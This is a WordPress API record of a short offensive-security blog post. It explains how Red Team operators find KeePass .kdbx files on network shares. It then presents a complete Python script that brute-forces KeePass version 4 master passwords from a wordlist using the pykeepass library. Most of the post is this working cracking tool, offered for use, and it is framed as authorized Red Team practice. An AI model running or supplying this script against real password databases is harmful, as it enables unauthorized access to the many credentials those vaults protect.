{"id":581,"date":"2025-02-20T23:56:43","date_gmt":"2025-02-21T04:56:43","guid":{"rendered":"https:\/\/offensivepython.com\/?p=581"},"modified":"2025-02-21T00:10:38","modified_gmt":"2025-02-21T05:10:38","slug":"guessing-keypass-version-4-passwords","status":"publish","type":"post","link":"https:\/\/offensivepython.com\/index.php\/2025\/02\/20\/guessing-keypass-version-4-passwords\/","title":{"rendered":"Guessing KeyPass version 4 Passwords"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"581\" class=\"elementor elementor-581\">\n\t\t\t\t<div class=\"elementor-element elementor-element-780dcc2f e-flex e-con-boxed e-con e-parent\" data-id=\"780dcc2f\" data-element_type=\"container\" data-e-type=\"container\">\n\t\t\t\t\t<div class=\"e-con-inner\">\n\t\t\t\t<div class=\"elementor-element elementor-element-113651e8 elementor-widget elementor-widget-text-editor\" data-id=\"113651e8\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>Earlier versions of the commonly used KeyPass password manager software was a blessing in disguise whenever you would come across those files during a Red Team and they were easy to find. Just search for *.kdbx files on shares!<\/p>\n<p><!-- \/wp:paragraph --><!-- wp:paragraph --><\/p>\n<p>The password hashes from the KDBX files were easily extracted using John The Ripper&#8217;s keepass2john tool. And then you could use John and your favorite wordlist to quickly crack some passwords, which then led to more credentials that the user thought they were protecting. It was so much fun and always an easy win.<\/p>\n<p><!-- \/wp:paragraph --><!-- wp:paragraph --><\/p>\n<p>However, with version 4 of KeyPass, John can no long extract the hash and cracking is not possible. But we can still guess the passwords. I recently discovered that there is a module known as <a href=\"https:\/\/pypi.org\/project\/pykeepass\/\">pykeepass<\/a> and it makes writing a KeePass password guesser very easy in Python. Here is one I just wrote real quick.<\/p>\n<div style=\"background-color:#131314;color:#ebebeb\"><pre style=\"font-family:'JetBrains Mono',monospace;font-size:9.8pt;\"><span style=\"color:#ed864a;\">from <\/span>pykeepass <span style=\"color:#ed864a;\">import <\/span>PyKeePass<span style=\"color:#ed864a;font-weight:bold;\">, <\/span>exceptions<br><span style=\"color:#ed864a;\">from <\/span>sys <span style=\"color:#ed864a;\">import <\/span>argv<br><span style=\"color:#ed864a;\">from <\/span>os.path <span style=\"color:#ed864a;\">import <\/span>basename<br><br><span style=\"color:#7ec3e6;\"># Supply the version 4 KeePass file as an argument<br><\/span><span style=\"color:#ed864a;\">if <\/span><span style=\"color:#8888c6;\">len<\/span>(argv) != <span style=\"color:#33ccff;font-weight:bold;\">2<\/span>:<br>    <span style=\"color:#8888c6;\">print<\/span>(basename(argv[<span style=\"color:#33ccff;font-weight:bold;\">0<\/span>])<span style=\"color:#ed864a;font-weight:bold;\">, <\/span><span style=\"color:#54b33e;\">\"KeyPass.kdbx\"<\/span>)<br>    <span style=\"color:#8888c6;\">exit<\/span>()<br><br><span style=\"color:#7ec3e6;\"># Set the password file to use<br><\/span>PASSWORDS = <span style=\"color:#54b33e;\">\"\/tmp\/passwords.txt\"<br><\/span><span style=\"color:#54b33e;\"><br><\/span><span style=\"color:#7ec3e6;\"># Read in each password to try<br><\/span><span style=\"color:#ed864a;\">with <\/span><span style=\"color:#8888c6;\">open<\/span>(PASSWORDS) <span style=\"color:#ed864a;\">as <\/span>passwords:<br>    <span style=\"color:#ed864a;\">for <\/span>password <span style=\"color:#ed864a;\">in <\/span>passwords:<br>        <span style=\"color:#7ec3e6;\"># strip off the line feed at the end<br><\/span><span style=\"color:#7ec3e6;\">        <\/span>password = password.rstrip()<br>        <span style=\"color:#ed864a;\">try<\/span>:<br>            <span style=\"color:#7ec3e6;\"># This prints the password being tried on the same line each time through the loop<br><\/span><span style=\"color:#7ec3e6;\">            <\/span><span style=\"color:#8888c6;\">print<\/span>(<span style=\"color:#54b33e;\">\"<\/span><span style=\"color:#ed864a;\">\\r<\/span><span style=\"color:#54b33e;\">\" <\/span>+ password + <span style=\"color:#54b33e;\">\"<\/span><span style=\"color:#ed864a;\">\\033<\/span><span style=\"color:#54b33e;\">[K\"<\/span><span style=\"color:#ed864a;font-weight:bold;\">, <\/span><span style=\"color:#aa4926;\">end<\/span>=<span style=\"color:#54b33e;\">\"\"<\/span><span style=\"color:#ed864a;font-weight:bold;\">, <\/span><span style=\"color:#aa4926;\">flush<\/span>=<span style=\"color:#ed864a;\">True<\/span>)<br>            kp = PyKeePass(argv[<span style=\"color:#33ccff;font-weight:bold;\">1<\/span>]<span style=\"color:#ed864a;font-weight:bold;\">, <\/span><span style=\"color:#aa4926;\">password<\/span>=password)<br>        <span style=\"color:#ed864a;\">except <\/span>exceptions.CredentialsError:<br>            <span style=\"color:#ed864a;\">continue<br><\/span><span style=\"color:#ed864a;\">        else<\/span>:<br>            <span style=\"color:#8888c6;\">print<\/span>(<span style=\"color:#54b33e;\">\"<\/span><span style=\"color:#ed864a;\">\\n<\/span><span style=\"color:#54b33e;\">You guessed it!\"<\/span>)<br>            <span style=\"color:#8888c6;\">exit<\/span>()<br>    <span style=\"color:#8888c6;\">print<\/span>(<span style=\"color:#54b33e;\">\"<\/span><span style=\"color:#ed864a;\">\\n<\/span><span style=\"color:#54b33e;\">The password could not be guessed.\"<\/span>)<\/pre><\/div>\n<p><!-- \/wp:paragraph --><!-- wp:paragraph --><\/p>\n<p><!-- \/wp:paragraph --><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>Earlier versions of the commonly used KeyPass password manager software was a blessing in disguise whenever you would come across those files during a Red Team and they were easy to find. Just search for *.kdbx files on shares! The password hashes from the KDBX files were easily extracted using John The Ripper&#8217;s keepass2john tool. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","site-transparent-header":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[35],"tags":[38],"class_list":["post-581","post","type-post","status-publish","format-standard","hentry","category-offensive-tool","tag-keepass"],"_links":{"self":[{"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/posts\/581","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/comments?post=581"}],"version-history":[{"count":12,"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/posts\/581\/revisions"}],"predecessor-version":[{"id":593,"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/posts\/581\/revisions\/593"}],"wp:attachment":[{"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/media?parent=581"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/categories?post=581"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/offensivepython.com\/index.php\/wp-json\/wp\/v2\/tags?post=581"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}